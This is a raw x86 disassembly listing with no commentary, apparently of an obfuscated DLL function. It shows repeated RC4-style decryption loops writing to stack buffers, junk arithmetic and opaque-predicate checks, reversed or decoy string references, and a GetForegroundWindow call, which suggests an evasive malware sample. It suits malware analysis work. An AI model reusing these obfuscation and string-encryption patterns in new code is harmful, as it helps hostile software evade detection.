call fcn.10005e3a
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
add eax, eax
pop ecx
push 0
pop edx
movzx ecx, word [eax + str.gfffffffH]
cmp cx, word [ebp + eax - 0xa4]
je 0x1000777c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
movzx eax, byte [ebp + eax*2 - 0xa4]
movzx ecx, byte [ecx*2 + str.gfffffffH]
sub ecx, eax
cmp ecx, 0x1254
jae 0x100077e1
add esi, 0x68f56fe9
mov dword [ebp - 8], esi
jmp 0x100077f2
imul eax, dword [ebp - 8], 0xb2d9c772
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.10005714
mov edi, edx
mov eax, edx
mov byte [ebp + eax - 0x1e0], al
inc eax
cmp eax, 0x100
jb 0x100077f6
mov esi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x1e0]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x84]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x2c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x10007807
push 5
pop ecx
mov esi, str.bc_expired
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
push 0x6d
xor eax, eax
pop edx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x18], eax
cmp dx, word [ebp - 0x30]
jne 0x1000789b
mov ecx, eax
test dx, dx
je 0x1000789b
cmp word [ebp + ecx - 0x30], ax
je 0x1000789b
mov ecx, str.gfffffffH
call fcn.10003c5a
mov eax, dword [ebp - 0x18]
inc eax
push 0
mov dword [ebp - 0x18], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.muesum.ecalap]
pop eax
cmp dx, word [ebp + ecx - 0x30]
je 0x1000786a
mov esi, dword [ebp - 8]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edi, eax
lea eax, [ecx + 1]
xor esi, 0x3954e852
movzx eax, al
mov dword [ebp - 0x18], eax
push 0xf
mov cl, byte [ebp + eax - 0x1e0]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x18]
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edx - 0x1e0], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1e0], cl
mov ecx, edx
movzx eax, byte [ebp + ecx - 0x1e0]
add eax, dword [ebp - 0x34]
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + edi - 0xc0]
mov byte [ebp + edi - 0xdc], al
inc edi
pop eax
cmp edi, eax
jb 0x100078a5
push 0x15
pop edx
xor ecx, ecx
mov dword [ebp - 0x78], 0x16b4
or esi, 0xcab75474
mov byte [ebp - 0xcd], cl
push 0xa
xor esi, 0x1e7182b7
mov dword [ebp - 0x74], 0x1c9f
mov eax, ecx
mov dword [ebp - 0x70], 0x1553
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], 0x14d8
mov dword [ebp - 0x60], 0xedb
mov dword [ebp - 0x5c], 0x1fd0
mov dword [ebp - 0x58], 0xd1d
mov dword [ebp - 0x54], 0x982
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 0x11f4
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], 0x419
pop edi
cmp eax, edi
je 0x1000798f
inc eax
cmp eax, 0xf
jl 0x10007985
mov eax, dword [ebp + eax*4 - 0x78]
xor eax, edx
mov dword [ebp - 0x68], 0x1d6e
xor edx, edx
mov dword [ebp - 0x220], eax
inc edx
mov dword [ebp - 0x64], 0xc42
and esi, 0x6830c51e
mov dword [ebp - 0x58], edx
push 0xb
mov dword [ebp - 0x48], edx
mov eax, ecx
mov dword [ebp - 0x60], 0xf1b
mov dword [ebp - 0x5c], 0x23a9
mov dword [ebp - 0x54], 0x189b
mov dword [ebp - 0x50], 0x1df7
mov dword [ebp - 0x4c], 0x1ebb
mov dword [ebp - 0x44], 0x259d
mov dword [ebp - 0x40], 0x178a
mov dword [ebp - 8], esi
pop edx
cmp eax, 4
je 0x100079fb
inc eax
cmp eax, edx
jl 0x100079f1
mov eax, dword [ebp + eax*4 - 0x68]
lea edi, [ebp - 0x28]
mov esi, str.moc.tm_morf
mov dword [ebp - 0x1fc], eax
push 0x11
pop eax
mov byte [ebp - 0x9b], al
mov edx, 0x733f6d9b
imul eax, dword [ebp - 8], 0x4d8f4bf7
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0x9c], 0x27
mov dword [ebp - 0x9a], 0x2dec024d
movsd dword es:[edi], dword [esi]
sub edx, eax
mov eax, ecx
mov dword [ebp - 0x96], 0x1b78dbae
mov cl, byte [str.yerudieresiscyrillic]
mov byte [ebp - 0x92], 0x3e
movsd dword es:[edi], dword [esi]
mov esi, str.allow_popups
mov dword [ebp - 8], edx
lea edi, [ebp - 0xc0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0xc0]
jne 0x10007a8f
test cl, cl
je 0x10007a8c
cmp byte [ebp + eax - 0xc0], 0
je 0x10007a8c
mov cl, byte [eax + 0x1003bc21]
inc eax
cmp cl, byte [ebp + eax - 0xc0]
je 0x10007a6e
mov dword [ebp - 0x10], eax
call fcn.10005039
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 8]
cmp edi, dword [ebp - 0x10]
jae 0x10007abe
cmp edi, 0x775
jne 0x10007ab0
or esi, 0x9b89a991
xor esi, 0xae5eee09
call fcn.100057bb
inc edi
jmp 0x10007a9d
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10007ac5
sub esi, 0x2cc56ed9
mov dword [ebp - 0x18], eax
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x1e0]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x28]
add eax, dword [ebp - 0x10]
add ecx, eax
cmp byte [str.yerudieresiscyrillic], 0
movzx ecx, cl
mov dword [ebp - 0x10], ecx
je 0x10007b1e
mov eax, str.yerudieresiscyrillic
imul esi, esi, 0x438cabe5
inc eax
cmp byte [eax], 0
jne 0x10007b12
mov al, byte [ebp + ecx - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
xor eax, eax
mov edi, eax
add esi, 0xf7c10c68
add esi, 0xa127062d
inc edi
cmp word [edi*2 + str.gfffffffH], ax
jne 0x10007b36
mov dword [0x1003bc10], esi
call fcn.10004424
mov eax, dword [ebp - 0x34]
mov esi, dword [0x1003bc10]
cmp eax, edi
jae 0x10007b7a
cmp eax, 0x83b
jne 0x10007b6c
xor esi, 0xe73463f8
or esi, 0xc0bee84b
inc eax
cmp eax, edi
jb 0x10007b5f
mov dword [ebp - 0x34], eax
mov edi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
inc edi
mov al, byte [ebp - 1]
mov dword [ebp - 0x18], edi
mov byte [ebp + ecx - 0x1e0], al
cmp edi, 0x100
jb 0x10007ae0
xor esi, 0x1c0ec1f1
lea edi, [ebp - 0xc4]
push 5
mov dword [ebp - 8], esi
xor eax, eax
pop ecx
mov esi, str.lp.okcelo
mov dword [ebp - 0xc], eax
rep movsd dword es:[edi], dword [esi]
push 0x6d
pop ecx
cmp cx, word [ebp - 0xc4]
jne 0x10007bf1
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10007bf1
cmp word [ebp + ecx - 0xc4], ax
je 0x10007bf1
mov ecx, dword [ebp - 0xc]
inc ecx
mov dword [ebp - 0xc], ecx
add ecx, ecx
movzx edx, word [ecx + str.muesum.ecalap]
cmp dx, word [ebp + ecx - 0xc4]
je 0x10007bc8
call fcn.10005742
mov edi, dword [ebp - 0xb0]
cmp edi, dword [ebp - 0xc]
jae 0x10007c30
mov esi, dword [ebp - 8]
call fcn.10004efb
cmp edi, 0x184b
jne 0x10007c1c
or esi, 0x97618eff
call fcn.10005039
or esi, 0xa66c7fa6
call fcn.10004efb
inc edi
cmp edi, dword [ebp - 0xc]
jb 0x10007c04
mov dword [ebp - 8], esi
call fcn.10004efb
xor esi, esi
mov cl, byte [str.yerudieresiscyrillic]
mov eax, esi
lea edi, [ebp - 0xc0]
mov esi, str.inserted_count
mov dword [ebp - 0x10], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0xc0]
jne 0x10007c96
mov esi, dword [ebp - 8]
test cl, cl
je 0x10007c96
cmp byte [ebp + eax - 0xc0], 0
je 0x10007c96
push str.muesum.ecalap
push esi
mov edx, str.yerudieresiscyrillic
mov ecx, esi
call fcn.1000401b
mov eax, dword [ebp - 0x10]
inc eax
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
mov cl, byte [eax + str.yerudieresiscyrillic]
cmp cl, byte [ebp + eax - 0xc0]
je 0x10007c5e
mov esi, dword [ebp - 8]
mov edx, str.yerudieresiscyrillic
push str.muesum.ecalap
mov ecx, esi
call fcn.1000482f
mov edi, dword [ebp - 0x10]
pop ecx
cmp dword [ebp - 0x10], edi
jae 0x10007cf7
push str.gfffffffH
mov edx, str.Upsilonafrican
mov ecx, esi
call fcn.1000482f
cmp dword [ebp - 0x10], 0x184b
pop ecx
jne 0x10007cde
mov ecx, str.muesum.ecalap
or esi, 0x693f3110
call fcn.10003c5a
sub esi, 0x317ef323
call fcn.10005039
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, edi
jb 0x10007cb3
mov dword [ebp - 8], esi
xor edx, edx
mov edi, edx
mov dword [ebp - 0x14], edx
mov esi, edx
jmp 0x10007d04
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov dword [ebp - 0x34], esi
mov cl, byte [ebp + esi - 0x1e0]
movzx eax, cl
mov dword [ebp - 0xcc], eax
add eax, edi
movzx edi, al
mov dword [ebp - 0x18], edi
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
mov esi, str.muesum.egrog
mov al, byte [str.yerudieresiscyrillic]
mov byte [ebp + edi - 0x1e0], cl
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0x28]
jne 0x10007d68
test al, al
je 0x10007d68
cmp byte [ebp + edx - 0x28], 0
je 0x10007d68
mov al, byte [edx + 0x1003bc21]
inc edx
cmp al, byte [ebp + edx - 0x28]
je 0x10007d50
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.10005714
movzx eax, byte [ebp + edx - 0x28]
movzx ecx, byte [edx + str.yerudieresiscyrillic]
sub ecx, eax
cmp ecx, 0x144f
jne 0x10007d95
call fcn.10005039
add esi, 0x4a359acf
jmp 0x10007d9b
or esi, 0x37f7d532
push str.muesum.ecalap
mov edx, str.yerudieresiscyrillic
mov dword [ebp - 8], esi
mov ecx, esi
call fcn.1000482f
pop ecx
push 0x10
pop ecx
mov esi, str.Disk_full_or_allocation_exceeded
lea edi, [ebp - 0x7c]
rep movsd dword es:[edi], dword [esi]
push 0x6d
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], eax
cmp cx, word [ebp - 0x7c]
jne 0x10007e07
mov esi, dword [ebp - 8]
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10007e07
cmp word [ebp + ecx - 0x7c], ax
je 0x10007e07
mov edx, esi
mov ecx, str.Upsilonafrican
call fcn.10005d0f
mov eax, dword [ebp - 0x10]
inc eax
push 0
mov dword [ebp - 0x10], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.muesum.ecalap]
pop eax
cmp dx, word [ebp + ecx - 0x7c]
je 0x10007dd4
call fcn.10004a5f
mov ecx, dword [ebp - 0x10]
movzx eax, byte [ebp + ecx*2 - 0x7c]
movzx ecx, byte [ecx*2 + str.muesum.ecalap]
sub ecx, eax
cmp ecx, 0x2601
jne 0x10007e40
mov eax, dword [ebp - 8]
or eax, 0xb66c2f77
mov dword [0x1003bc10], eax
call fcn.10004424
mov esi, dword [0x1003bc10]
jmp 0x10007e4e
mov esi, dword [ebp - 8]
and esi, 0x4ebe0f77
call fcn.10005a16
mov ecx, dword [ebp - 0x14]
imul esi, esi, 0x6702f987
mov edi, dword [ebp - 0x18]
push 0xb
mov dword [ebp - 8], esi
mov dword [0x1003bc10], esi
mov esi, dword [ebp - 0x34]
movzx eax, byte [ebp + esi - 0x1e0]
add eax, dword [ebp - 0xcc]
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + ecx - 0x9c]
mov byte [ebp + ecx - 0x25c], al
inc ecx
pop eax
mov dword [ebp - 0x14], ecx
cmp ecx, eax
jb 0x10007d02
xor eax, eax
mov dword [ebp - 0x60], 0x123e
mov byte [ebp - 0x251], al
mov esi, eax
mov eax, 0xdb
mov dword [ebp - 0x58], 0x136a
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0xbe3
mov dword [ebp - 0x4c], 0xb5
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], 0xa20
mov dword [ebp - 0x40], 0xb02
call dword [sym.imp.USER32.dll_GetForegroundWindow]
add eax, 0x1d8eeacc
push 0xb
mov dword [ebp - 0x10], eax
pop eax
cmp esi, 5
je 0x10007efe
inc esi
cmp esi, eax
jl 0x10007ef4
mov eax, dword [ebp + esi*4 - 0x68]
lea edi, [ebp - 0xc4]
mov esi, str.safe_zone_browser
mov dword [ebp - 0x28], 0xca83823f
xor eax, 0xda
mov dword [ebp - 0x24], 0x76da5a5d
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x20], 0xe5938043
mov ecx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [ebp - 0x10]
and edi, 0x9cc6ad8c
imul edi, edi, 0x7c39ded2
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10007f40
xor edi, 0x475f769
mov esi, eax
mov dword [ebp - 0x10], edi
mov edi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x1e0]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x84]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x10007f63
mov edi, dword [ebp - 0x10]
mov ecx, str.yerudieresiscyrillic
mov edx, edi
call fcn.10005d0f
xor esi, esi
cmp byte [str.yerudieresiscyrillic], 0
je 0x10007fd9
call fcn.10005a16
sub edi, 0x5afd29b4
inc esi
cmp byte [esi + str.yerudieresiscyrillic], 0
jne 0x10007fc4
mov ecx, str.Upsilonafrican
call fcn.10003e29
cmp esi, 0x153f
jbe 0x10007ff8
call fcn.10005342
lea esi, [edi + 0x7cfca932]
jmp 0x10008008
mov ecx, str.muesum.ecalap
call fcn.10003c5a
lea esi, [edi - 0x8b8532d]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x8c], eax
mov edi, eax
xor esi, 0xf1d8a41d
inc edi
cmp word [edi*2 + str.gfffffffH], ax
jne 0x1000801b
mov ecx, dword [ebp - 0x18]
mov dword [0x1003bc10], esi
cmp ecx, edi
jae 0x1000806f
mov dword [ebp - 0x14], esi
mov eax, esi
cmp ecx, 0x8cf
jne 0x10008056
call fcn.100054ee
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add eax, 0x59b443f0
lea esi, [eax + 0x12031f47]
inc ecx
mov dword [0x1003bc10], esi
mov eax, esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
cmp ecx, edi
jb 0x1000803e
mov eax, dword [ebp - 0x84]
inc eax
imul esi, esi, 0xfa3eda7b
movzx edi, al
mov eax, dword [ebp - 0x10]
push 0
mov dword [ebp - 0x84], edi
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
mov dword [0x1003bc10], esi
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
mov ecx, dword [ebp - 0x8c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + ecx - 0x28]
mov byte [ebp + ecx - 0x2ac], al
inc ecx
mov dword [ebp - 0x8c], ecx
pop eax
cmp ecx, 0xc
jb 0x10008019
push 0xd
mov byte [ebp - 0x2a0], al
lea edi, [ebp - 0x6c]
pop eax
mov dword [ebp - 8], esi
mov esi, str.Bad_delta_height_value_in_JBIG2_symbol_dictionary
push 0xc
pop ecx
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x28], 0xf7d9
mov byte [ebp - 0x26], 0xe7
mov byte [ebp - 0x25], al
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 8]
mov edi, str.gfffffffH
mov dword [ebp - 0x24], 0xdcee6971
mov dword [ebp - 0x20], 0xf4d4011f
call fcn.10005742
lea edi, [edi + 2]
xor eax, eax
and esi, 0x64acd534
cmp word [edi], ax
jne 0x1000812e
mov dword [ebp - 8], esi
mov ecx, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10008148
mov edi, eax
mov esi, eax
xor edx, edx
mov dword [ebp - 0x34], 0x31
mov eax, edi
mov cl, byte [ebp + edi - 0x1e0]
div dword [ebp - 0x34]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x6c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x1e0], al
cmp edi, 0x100
jb 0x1000815c
mov esi, dword [ebp - 8]
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x14], ecx
mov edi, ecx
lea eax, [edi + 1]
mov edi, ecx
movzx eax, al
mov dword [ebp - 0x34], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0xcc], eax
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
or esi, 0x2f909aa8
inc edi
cmp word [edi*2 + str.gfffffffH], cx
jne 0x100081d6
mov ecx, str.yerudieresiscyrillic
call fcn.10003e29
cmp edi, 0x1d4e
jae 0x10008206
call fcn.10005a16
add esi, 0x7c53f5e8
jmp 0x1000820c
add esi, 0x813db2b6
mov ecx, dword [ebp - 0x18]
xor esi, 0x9642e3ef
mov edi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x14]
push 0
mov al, byte [ebp + ecx - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1e0], al
movzx eax, byte [ebp + edi - 0x1e0]
add eax, dword [ebp - 0xcc]
movzx eax, al
pop ecx
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + edx - 0x28]
mov byte [ebp + edx - 0x29c], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
mov edx, dword [ebp - 0x18]
jb 0x100081b0
push 8
mov dword [ebp - 8], esi
lea edi, [ebp - 0x5c]
pop ecx
mov esi, str.AVG_AV_FREE_URL
xor edx, edx
rep movsd dword es:[edi], dword [esi]
push 0x6d
pop ecx
mov eax, edx
mov byte [ebp - 0x290], dl
mov dword [ebp - 0xc], eax
cmp cx, word [ebp - 0x5c]
jne 0x100082b5
test cx, cx
je 0x100082b2
cmp word [ebp + eax - 0x5c], dx
je 0x100082b2
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
add eax, eax
movzx ecx, word [eax + str.muesum.ecalap]
cmp cx, word [ebp + eax - 0x5c]
je 0x1000828f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
movzx eax, byte [ebp + eax*2 - 0x5c]
movzx ecx, byte [ecx*2 + str.muesum.ecalap]
sub ecx, eax
mov eax, dword [ebp - 8]
cmp ecx, 0x22e8
jne 0x100082d9
xor eax, 0x211f86b3
jmp 0x100082de
xor eax, 0x4daeb2ed
mov dword [ebp - 0xc8], edx
mov ecx, edx
mov dword [ebp - 0xc4], 0x168e
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], 0x2276
mov dword [ebp - 0xb4], 0x169d
cmp ecx, 2
je 0x1000831b
inc ecx
cmp ecx, 6
jl 0x10008310
mov ecx, dword [ebp + ecx*4 - 0xc8]
xor esi, esi
inc esi
mov dword [ebp - 0xcc], ecx
push 0xa
mov dword [ebp - 0x64], esi
mov ecx, edx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x60], 0x14fc
mov dword [ebp - 0x5c], 0x1caa
mov dword [ebp - 0x58], 0xb1e
mov dword [ebp - 0x4c], 0x4f7
mov dword [ebp - 0x44], 0xb1f
mov dword [ebp - 0x40], 0x17a8
pop esi
test ecx, ecx
je 0x1000836f
inc ecx
cmp ecx, esi
jl 0x10008366
mov ecx, dword [ebp + ecx*4 - 0x64]
lea edi, [ebp - 0xc0]
mov esi, str.clickalveolar
mov dword [ebp - 0xb0], ecx
add eax, 0x5debe29
mov dword [ebp - 0x28], 0xd882b153
and eax, 0x20b64b00
mov dword [ebp - 0x24], 0xd5e1f1f7
add eax, 0x2a35473a
mov dword [ebp - 0x20], 0xddb6e153
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], eax
mov eax, edx
mov dword [ebp - 0x8c], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x1e0], al
inc eax
cmp eax, 0x100
jb 0x100083b8
mov dword [ebp - 0xc], edx
call fcn.10004dbc
push 5
pop ecx
mov esi, str.muesum.ygoloporhtna
lea edi, [ebp - 0xa4]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.yerudieresiscyrillic]
xor eax, eax
cmp cl, byte [ebp - 0xa4]
jmp 0x10008418
test cl, cl
je 0x1000841d
cmp byte [ebp + eax - 0xa4], 0
je 0x1000841d
mov ecx, str.yerudieresiscyrillic
call fcn.10004c22
mov eax, dword [ebp - 0x10]
inc eax
mov cl, byte [eax + str.yerudieresiscyrillic]
cmp cl, byte [ebp + eax - 0xa4]
mov dword [ebp - 0x10], eax
je 0x100083ef
mov edi, str.yerudieresiscyrillic
mov ecx, edi
call fcn.10004c22
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0xa4]
movzx ecx, byte [ecx + str.yerudieresiscyrillic]
sub ecx, eax
cmp ecx, 0x1fd3
jae 0x10008450
add esi, 0x91403c2c
jmp 0x10008456
add esi, 0x6eaa55b4
mov eax, dword [ebp - 0xc]
xor edx, edx
mov cl, byte [ebp + eax - 0x1e0]
div dword [ebp - 0xa8]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc0]
add eax, dword [ebp - 0x8c]
add ecx, eax
movzx eax, cl
mov ecx, edi
mov dword [ebp - 0x8c], eax
imul eax, esi, 0xb50b59d5
mov dword [ebp - 8], eax
call fcn.10004c22
push 6
pop ecx
mov esi, str.araeaekorean
lea edi, [ebp - 0x54]
rep movsd dword es:[edi], dword [esi]
push 0x6d
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], eax
cmp cx, word [ebp - 0x54]
jne 0x100084db
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x100084db
cmp word [ebp + ecx - 0x54], ax
je 0x100084db
mov ecx, dword [ebp - 0x10]
inc ecx
mov dword [ebp - 0x10], ecx
add ecx, ecx
movzx edx, word [ecx + str.muesum.ecalap]
cmp dx, word [ebp + ecx - 0x54]
je 0x100084b8
call fcn.10004a5f
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 8]
cmp eax, edi
jae 0x10008513
cmp eax, 0x22f3
jne 0x10008507
mov ecx, str.muesum.ecalap
sub esi, 0x28dba762
call fcn.100045cc
mov eax, dword [ebp - 0x14]
imul esi, esi, 0x718e3a2f
inc eax
mov dword [ebp - 0x14], eax
jmp 0x100084e9
mov ecx, str.muesum.ecalap
call fcn.10003c5a
xor edi, edi
and esi, 0x617d3992
inc edi
cmp byte [edi + str.Upsilonafrican], 0
jne 0x1000851f
call fcn.10005b62
mov edx, dword [ebp - 0x8c]
mov eax, esi
mov ecx, dword [ebp - 0xc]
and eax, 0x1179f62d
xor esi, 0x8c6c3afd
cmp edi, 0x21a1
cmovbe esi, eax
mov al, byte [ebp + edx - 0x1e0]
mov byte [ebp + ecx - 0x1e0], al
inc ecx
mov al, byte [ebp - 1]
mov dword [ebp - 8], esi
mov byte [ebp + edx - 0x1e0], al
mov dword [ebp - 0xc], ecx
cmp ecx, 0x100
jb 0x100083ca
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
or esi, 0x76f76943
movzx eax, al
add esi, 0xd4b90857
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0x14]
mov cl, byte [ebp + eax - 0x1e0]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1e0], cl
mov ecx, esi
mov esi, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + edi - 0x28]
mov byte [ebp + edi - 0x2dc], al
inc edi
cmp edi, 0xc
jb 0x10008587
push 0x67
pop ecx
xor eax, eax
mov byte [ebp - 0x97], cl
push 6
pop ecx
mov esi, str.MacCleanupDuplicatePics
mov byte [ebp - 0x2d0], al
lea edi, [ebp - 0xc8]
mov byte [ebp - 0x98], 0x76
mov dword [ebp - 0x96], 0x92a95dc6
mov word [ebp - 0x92], 0x127d
mov byte [ebp - 0x90], al
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x14], eax
add dword [ebp - 8], 0x3192a2e7
call fcn.10004257
push 0xb
pop eax
mov ecx, eax
lea edi, [ebp - 0x68]
push 0x55
mov esi, str.avcfg:__settings_Common_PopupDurationOrange
pop eax
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x68], al
jne 0x10008691
xor esi, esi
test al, al
je 0x10008691
cmp byte [ebp + esi - 0x68], 0
je 0x10008691
mov eax, dword [ebp - 8]
mov edx, str.yerudieresiscyrillic
push str.gfffffffH
push eax
mov ecx, eax
call fcn.1000401b
mov al, byte [esi + 0x1002ea71]
inc esi
pop ecx
pop ecx
cmp al, byte [ebp + esi - 0x68]
je 0x10008662
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x1e0], al
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x100
jb 0x1000863d
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov esi, ecx
mov al, byte [ebp + ecx - 0x1e0]
lea edi, [ebp - 0x54]
mov byte [ebp - 1], al
xor edx, edx
mov eax, ecx
push 0x17
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
push 6
movzx eax, byte [ebp + edx - 0xc8]
xor edx, edx
add eax, esi
mov esi, str.ibom.duolcsd
add ecx, eax
movzx eax, cl
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
push 0x67
xor eax, 0x6627d7f3
movsw word es:[edi], word [esi]
pop ecx
mov dword [ebp - 8], eax
mov dword [0x1003bc10], eax
cmp cx, word [ebp - 0x54]
jne 0x10008784
mov esi, ecx
mov ecx, edx
mov edi, edx
test si, si
je 0x10008728
cmp word [ebp + ecx - 0x54], dx
je 0x10008728
inc edi
lea ecx, [edi + edi]
movzx esi, word [ecx + str.gfffffffH]
cmp si, word [ebp + ecx - 0x54]
je 0x1000870a
mov esi, dword [ebp - 0x34]
cmp esi, edi
jae 0x10008784
cmp esi, 0x477
jne 0x10008757
imul eax, eax, 0xf48612ef
mov edx, str.Upsilonafrican
push str.gfffffffH
push eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.1000401b
mov eax, dword [ebp - 8]
pop ecx
pop ecx
imul eax, eax, 0x491b0efd
mov edx, str.yerudieresiscyrillic
